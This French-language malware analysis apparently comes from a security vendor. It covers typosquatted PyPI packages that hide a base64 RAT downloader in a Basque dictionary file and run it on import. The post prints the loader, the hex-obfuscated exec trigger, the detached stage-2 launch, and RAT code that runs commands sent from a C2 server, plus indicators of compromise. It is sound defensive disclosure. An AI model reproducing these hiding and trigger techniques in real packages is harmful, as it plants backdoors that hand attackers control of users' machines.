Les 20 et 21 janvier 2026, notre pipeline de détection de malwares a signalé deux nouveaux packages PyPI : spellcheckerpy et spellcheckpy. Les deux prétendaient être l'auteur légitime de la bibliothèque pyspellchecker. Les deux sont liés à son véritable dépôt GitHub.
Ils n'étaient pas les siens.
Caché à l'intérieur du fichier dictionnaire de la langue basque se trouvait une charge utile encodée en base64 qui télécharge un RAT Python complet. L'attaquant a d'abord publié trois versions « dormantes », avec la charge utile présente mais sans déclencheur, puis a activé l'interrupteur avec spellcheckpy la v1.2.0, en ajoutant un déclencheur d'exécution obfusqué qui se déclenche dès que vous importez SpellChecker.
La charge utile cachée à la vue de tous
Les auteurs du malware ont fait preuve de créativité. Au lieu des suspects habituels (post-installation scripts, obfusqués __init__.py), ils ont enfoui la charge utile à l'intérieur de resources/eu.json.gz, un fichier qui contient légitimement les fréquences de mots basques dans le véritable pyspellchecker package.
Voici la fonction d'extraction dans utils.py:
def test_file(filepath: PathOrStr, encoding: str, index: str):
filepath = f"{os.path.join(os.path.dirname(__file__), 'resources')}/{filepath}.json.gz"
with gzip.open(filepath, "rt", encoding=encoding) as f:
data = json.loads(f.read())
return data[index]Cela semble innocent. Mais lorsqu'elle est appelée avec test_file("eu", "utf-8", "spellchecker"), elle ne récupère pas les fréquences de mots. Elle récupère un téléchargeur encodé en base64, caché parmi les entrées du dictionnaire sous une clé nommée spellchecker.
Dormant, puis mortel
Dans les trois premières versions, la charge utile est extraite et décodée... mais jamais exécutée :
test_index = test_file("eu", "utf-8", "spellchecker")
test_index = base64.b64decode(test_index).decode("utf-8")
# C'est tout. Pas d'exec(). La charge utile reste là, inactive.Une arme chargée avec la sécurité activée.
Puis vint spellcheckpy la v1.2.0. L'attaquant a déplacé le déclencheur vers WordFrequency.__init__ et une obfuscation ajoutée :
if eval(compile(base64.b64decode(test_file("eu", "utf-8", "spellchecker")).decode("utf-8"),
"<string>",
bytes.fromhex("65786563").decode("utf-8"))):
self._evaluate = TrueLe voyez-vous ? Ce bytes.fromhex("65786563") se décode en "exec.
Au lieu d'écrire exec() directement, ce que les scanners statiques signaleraient, ils reconstruisent la chaîne à partir de l'hexadécimal à l'exécution. Importez SpellChecker, instanciez-le, et le RAT s'exécute.
Le RAT : Contrôle à distance complet
La charge utile de la phase 1 est un téléchargeur. Elle récupère la charge utile réelle depuis https://updatenet[.]work/settings/history.php et la lance dans un processus détaché :
p = subprocess.Popen(
["python3", "-"],
stdin=subprocess.PIPE,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True
)
p.stdin.write(downloaded_payload)
p.stdin.close()
Ce start_new_session=True est essentiel : le RAT survit même si votre script se termine. Aucun fichier écrit sur le disque. Silencieux. Détaché.
Le RAT de la phase 2 est un cheval de Troie d'accès à distance complet avec des caractéristiques intéressantes :
Empreinte système à l'initialisation :
szObjectID = ''.join(random.choice(string.ascii_letters) for x in range(12))
szPCode = "Operating System : " + platform.platform()
szComputerName = "Computer Name : " + socket.gethostname()Chiffrement XOR à double couche pour les communications C2 : Le RAT utilise une clé XOR de 16 octets ([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]) pour la couche externe, puis un XOR secondaire avec la clé 123 pour les charges utiles de commande. Pas cryptographiquement fort, mais suffisant pour échapper à la détection basée sur les signatures.
Protocole binaire personnalisé : Les commandes reviennent sous forme de [4-byte command ID][4-byte length][XOR-encrypted payload]. Le RAT l'analyse, le déchiffre et le distribue.
Exécution de code arbitraire : Lorsque l'ID de commande 1001 arrive, le RAT l'exécute simplement :
if nCMDID == 1001:
exec(szCode)Boucle de balisage persistante :
Le RAT se connecte toutes les 5 secondes à https://updatenet[.]work/update1.php, en envoyant son ID de victime (campagne
FD429DEABE) et en attendant les commandes. La validation du certificat SSL est désactivée via
ssl._create_unverified_context().
C2 Infrastructure
Le domaine C2 updatenet[.]work pointe vers une infrastructure avec un historique documenté d'hébergement d'activités malveillantes.
Enregistrement du domaine :
- Domaine :
updatenet[.]work - Enregistré : 28 octobre 2025 (environ 3 mois avant la publication du malware)
Infrastructure d'hébergement :
- Adresse IP :
172.86.73[.]139 - ASN : AS14956 RouterHosting LLC
- Localisation : Dallas, Texas, États-Unis
- Domaine associé : cloudzy.com
- Réseau :
172.86.73.0/24
Pourquoi c'est important : RouterHosting LLC opère sous le nom de Cloudzy, un fournisseur d'hébergement qui a été largement documenté comme étant un « Fournisseur de commande et de contrôle » (C2P). En août 2023, Halcyon a publié un rapport intitulé « Cloudzy with a Chance of Ransomware » qui a révélé que 40 à 60 % du trafic de Cloudzy était de nature malveillante. Le rapport a lié l'infrastructure de Cloudzy à des groupes APT de Chine, d'Iran, de Corée du Nord, de Russie et d'autres nations, ainsi qu'à des opérateurs de rançongiciels et à un fournisseur israélien de logiciels espions sanctionné.
Lien avec les campagnes précédentes
Ce n'est pas un incident isolé. En novembre 2025, HelixGuard a documenté une attaque similaire utilisant le package spellcheckers (même cible, nom différent). Cette campagne a utilisé la même structure de RAT : chiffrement XOR, ID de commande 1001, exec(), mais une infrastructure C2 différente (dothebest[.]store). Le rapport HelixGuard a lié cette campagne à de l'ingénierie sociale de faux recruteurs ciblant les détenteurs de cryptomonnaies.
Domaines différents, même mode opératoire. Il semble s'agir du même acteur de menace.
Indicateurs de compromission
Packages : spellcheckerpy (toutes versions), spellcheckpy (toutes versions)
Infrastructure C2 :
updatenet[.]workhttps://updatenet[.]work/settings/history.php(livraison de l'étape 2)https://updatenet[.]work/update1.php(point de terminaison du beacon)172.86.73[.]139(AS14956 RouterHosting LLC / Cloudzy)
Identifiants de campagne :
- ID de campagne :
FD429DEABE - Clé XOR :
03 06 02 01 06 00 04 07 00 01 09 06 08 01 02 05 - XOR secondaire :
0x7B(123)
Emplacement de la charge utile :
resources/eu.json.gz, clé spellchecker

